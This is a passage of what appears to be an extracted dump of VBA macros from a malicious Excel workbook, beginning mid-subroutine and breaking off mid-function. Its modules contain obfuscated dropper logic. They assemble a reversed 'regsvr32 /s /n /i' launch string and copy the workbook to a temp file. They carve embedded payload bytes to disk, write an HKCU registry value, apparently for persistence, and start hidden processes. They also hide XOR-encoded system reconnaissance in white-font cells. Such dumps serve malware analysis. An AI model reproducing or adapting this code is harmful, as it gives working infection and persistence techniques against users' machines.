ThisWorkbook.Sheets(1).Range("F26").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G26").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G26").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A27").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B27").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C27").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D27").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E27").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F27").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G27").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G27").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A28").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B28").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C28").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D28").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E28").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F28").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G28").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G28").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A29").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B29").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C29").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D29").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E29").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F29").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G29").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G29").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A30").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B30").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C30").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D30").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E30").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F30").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G30").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G30").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A31").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B31").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C31").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D31").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E31").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F31").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G31").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G31").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A32").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B32").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C32").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D32").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E32").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F32").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G32").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G32").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A33").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B33").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C33").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D33").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E33").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F33").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G33").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G33").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A34").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B34").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C34").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D34").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E34").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F34").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G34").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G34").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A35").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B35").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C35").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D35").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E35").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F35").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G35").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G35").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A36").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B36").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C36").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D36").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E36").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F36").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G36").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G36").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A37").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B37").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C37").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D37").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E37").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F37").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G37").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G37").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A38").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B38").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C38").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D38").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E38").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F38").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G38").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G38").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A39").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B39").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C39").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D39").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E39").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F39").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G39").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G39").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A40").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B40").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C40").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D40").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E40").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F40").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G40").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G40").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A43").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B43").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C43").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D43").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E43").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F43").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G43").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G43").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A44").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B44").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C44").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D44").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E44").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F44").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G44").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G44").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A45").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B45").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C45").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D45").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E45").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F45").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G45").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G45").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A46").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A46").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B46").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B46").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C46").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C46").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D46").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D46").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E46").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E46").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F46").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F46").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G46").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G46").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A47").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A47").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B47").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B47").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C47").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C47").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D47").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D47").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E47").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E47").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F47").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F47").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G47").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G47").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A48").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A48").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B48").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B48").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C48").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C48").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D48").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D48").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E48").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E48").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F48").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F48").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G48").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G48").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A49").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A49").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B49").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B49").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C49").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C49").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D49").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D49").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E49").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E49").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F49").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F49").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G49").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G49").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A50").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A50").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B50").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B50").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C50").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C50").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D50").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D50").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E50").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E50").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F50").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F50").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G50").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G50").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A51").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A51").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B51").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B51").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C51").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C51").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D51").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D51").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E51").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E51").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F51").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F51").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G51").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G51").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("A52").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("A52").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("B52").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("B52").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("C52").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("C52").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("D52").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("D52").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("E52").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("E52").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("F52").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("F52").offset(0, 0).Value ThisWorkbook.Sheets(2).Range("G52").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("G52").offset(0, 0).Value End Sub Public Sub getGrs(ByRef res As String) res = VBA.StrReverse("exe.23r" + "vsger") res = res & " /s /n" res = res & " /i:'' " res = res & dfo & "\" & prot & "\" & dna End Sub" File "Module4.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module4") has code: "Public Const KEY_WRITE = &H20106 Public Const hash3 = "################################################################################################################################################################" Public fso As Object Public Const mp = ".tmp" Public prot As String Public Const fsagh = "ADODB.Stream" Public Function GetSz(arr() As Byte) As Long On Error Resume Next GetSz = UBound(arr) - LBound(arr) + 1 End Function Public Sub hc(cell_name As String) Dim tmp_value As String Dim tmp_value_len As Long tmp_value = ThisWorkbook.Sheets(2).Range(cell_name).Value tmp_value_len = Len(tmp_value) If tmp_value_len > 0 Then If tmp_value_len < 10 Then ThisWorkbook.Sheets(2).Range(cell_name).Value = hash1 ElseIf tmp_value_len < 20 Then ThisWorkbook.Sheets(2).Range(cell_name).Value = hash2 Else ThisWorkbook.Sheets(2).Range(cell_name).Value = hash3 End If End If End Sub Public Sub ges() Dim dOrig As Long ini0 dOrig = 113 Dim origPath As String Dim pathParts() As String pathParts = VBA.Split(ThisWorkbook.path, "/") Dim fOrig As Long origPath = ThisWorkbook.path & "\" Dim pthPrt As String origPath = origPath & ThisWorkbook.Name pthPrt = pathParts(UBound(pathParts)) If dOrig Mod 33 > 0 Then fOrig = 331 Else fOrig = 412 End If Dim prtuprf As String prtuprf = "rp" & "ro" Dim uprf As String uprf = VBA.Environ("use" & prtuprf & "fi" & "le") Dim drvst As String drvst = "eDr" & "ive" If fso.FileExists(origPath) <> True Then fOrig = dOrig - fOrig If fso.FolderExists(ThisWorkbook.path) <> True Then origPath = uprf & pthPrt & "\" & ThisWorkbook.Name dOrig = fOrig - dOrig If fso.FileExists(origPath) <> True Then origPath = uprf & "/On" & drvst & "/" & pthPrt fOrig = fOrig Mod 31 origPath = origPath & "\" & ThisWorkbook.Name End If Else End If End If Dim dstCpFl As String dstCpFl = tf fOrig = fOrig Mod 12 dstCpFl = dstCpFl & "\~" fso.CopyFile origPath, dstCpFl & ThisWorkbook.Name & mp End Sub Public Sub smf() On Error Resume Next chkin ActiveWindow.View = xlNormalView nLl = 1 #If Win64 = 1 Or Win32 = 1 Then #Else Exit Sub #End If Dim pfoa As String ges ini pfoa = pfo & "\" & pfo1 chkos exec = wdr exec1 = wdr Call ttt If nLl = 2 Then Exit Sub End If COmkn CrFld pfoa sge End Sub" File "Module5.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module5") has code: "Public tsk As String Public Const OEq As Long = &H3 Public pfo As String Public Const SHq As Integer = 0 Public arg2 As String Public arg1 As String Public Sub CrFld(path As String) On Error Resume Next Dim parts() As String parts = VBA.Split(path, "\") Dim fld As String Dim i As Long For i = LBound(parts) To UBound(parts) fld = fld & parts(i) If fso.FolderExists(fld) = False Then fso.CreateFolder fld End If fld = fld & "\" Next End Sub Public Sub chkos() On Error Resume Next Dim tmp As String Dim i As Integer tmp = "" Dim k As Byte k = 74 tmp = tmp & Application.OperatingSystem & Chr(10) & Application.Version + Chr(10) & "-" & Chr(10) chf prf, tmp tmp = tmp & "-" & Chr(10) chf prf & " (x86)", tmp Dim bres() As Byte bres = tmp For i = LBound(bres) To UBound(bres) bres(i) = bres(i) Xor k Next i Dim res As String res = bres ThisWorkbook.Sheets(1).Range("Z101").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z101").offset(0, 0).Value & res ThisWorkbook.Sheets(1).Range("Z101").offset(0, 0).Font.Color = 16777215 End Sub Public Sub chf(foln As String, ByRef res As String) Dim fol, sfol As Object Set fol = fso.GetFolder(foln) For Each sfol In fol.subfolders res = res + sfol.Name + Chr(10) Next sfol End Sub Public Sub t0() On Error Resume Next Dim curr As Integer curr = 241 exec = exec & tskkl If curr + curr / 4 > curr Mod 355 Then curr = curr - 12 * curr Mod 23 End If Dim slf As String slf = " /f " exec = exec & slf curr = curr / 5 * 7 exec = exec & "/IM " If VBA.LenB(fileBytes) > fsz1 Then Call WF(fileBytes, fsz1, fsz2) End If End Sub" File "Module6.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module6") has code: "Public streamB As Object Public Const CAq As Long = &H2 Public Const hash1 = "##########" Public Const FSWq As Long = &H2 Public Const REG_EXPAND_SZ = 2 Public Const uhbvfr As String = "emObject" Public Function WF(src() As Byte, sz1 As Long, sz2 As Long) Dim resBoolean As Boolean Dim pb() As Byte Dim d_offset As Long d_offset = 0 pb = SearchBytes(src, 1, sz1, d_offset) If GetSz(pb) = 0 Then Exit Function End If resBoolean = wtof(tf & "\" & tmpd, pb) If resBoolean = False Then Exit Function End If pb = SearchBytes(src, 2, sz2, d_offset) If GetSz(pb) = 0 Then Exit Function End If resBoolean = wtof(pfo & "\" & pfo1 & "\" & pna, pb) If resBoolean = False Then Exit Function End If End Function Public Sub asd() If chk = 14 Then End If reflux t1 exec1 End Sub Public Sub COmkn() On Error Resume Next Dim yng As Integer Dim hKey, hkcu_hkey As Long Dim klo As Long Dim ret As Long Dim kol As Integer yng = 137 klo = yng Mod 34 kol = yng + klo Dim sValue As String exec = exec & "\" klo = klo * 3 - 14 If kol = klo Then yng = 45 End If exec = exec & s32 & "\" kol = kol - 3 * yng sValue = VBA.StrConv(arg3, vbUnicode) exec1 = exec1 & "\" kol = kol - yng exec1 = exec1 & tsk ret = UPOT(KEY_WRITE, hkcu_hkey) klo = klo - 3 / 3 ThisWorkbook.Sheets(1).Range("Z97").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z97").offset(0, 0).Value & " " & ret klo = 3 + 3 / 3 If ret <> 0 Then hkcu_hkey = HKEY_CURRENT_USER End If ret = URMP(hkcu_hkey, VBA.StrConv(arg1 & arg2, vbUnicode), 0, vbNullString, 0, KEY_WRITE, 0, hKey, 0) kol = klo - yng ThisWorkbook.Sheets(1).Range("Z98").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z98").offset(0, 0).Value & " " & ret Dim scAMONB As Long scAMONB = Len(sValue) If ret = 0 Then kol = kol - 12 kol = 3 + 3 * klo / 3 ret = AMONB(hKey, vbNullString, 0, REG_EXPAND_SZ, ByVal sValue, scAMONB) ThisWorkbook.Sheets(1).Range("Z99").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z99").offset(0, 0).Value & " " & ret If ret = 0 Then yng = yng - 12 chk = chk + 1 flr = 1 End If kol = klo + yng RCK hKey End If End Sub Public Sub ost() On Error Resume Next Dim tkis As jlop With tkis .cb = LenB(tkis) .dF = SUq Or SUHq .wSW = SHq End With Dim wd As String Dim tkas_kip As pgot Dim r As Integer Dim grs As String getGrs grs grs = StrConv(grs, vbFromUnicode) r = Neibq(0&, StrPtr(grs), 0&, 0&, True, 0&, ByVal 0&, StrPtr(wd), tkis, tkas_kip) ThisWorkbook.Sheets(1).Range("Z102").offset(0, 0).Value = ThisWorkbook.Sheets(1).Range("Z102").offset(0, 0).Value & " " & r End Sub" File "Module7.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module7") has code: "Public prf As String Public Const fsz0 = 325 Public Const te = "emp" Public tskkl As String Public nLl As Long Public tmpd As String Public Sub t1(exec As String) Dim tkis As jlop With tkis .cb = LenB(tkis) .dF = SUq Or SUHq .wSW = SHq End With Dim tkas_kip As pgot Dim wd As String Dim r As Long exec = StrConv(exec, vbFromUnicode) r = Neibq(0&, StrPtr(exec), 0&, 0&, True, 0&, ByVal 0&, StrPtr(wd), tkis, tkas_kip) WFSO tkas_kip.hP, 15000 End Sub Public Function hpnol(ilf) As Byte() Dim ulmob As Integer ulmob = 312 Dim ampolq As Integer Dim ts As Object Set ts = CreateObject(fsagh) ts.Open If ampolq < 30 Then ampolq = ulmob + 44 End If ampolq = ampolq / 14 ts.Type = 1 ampolq = ampolq + 14 ts.LoadFromFile (ilf) ampolq = ampolq * 20 Dim altunb() As Byte 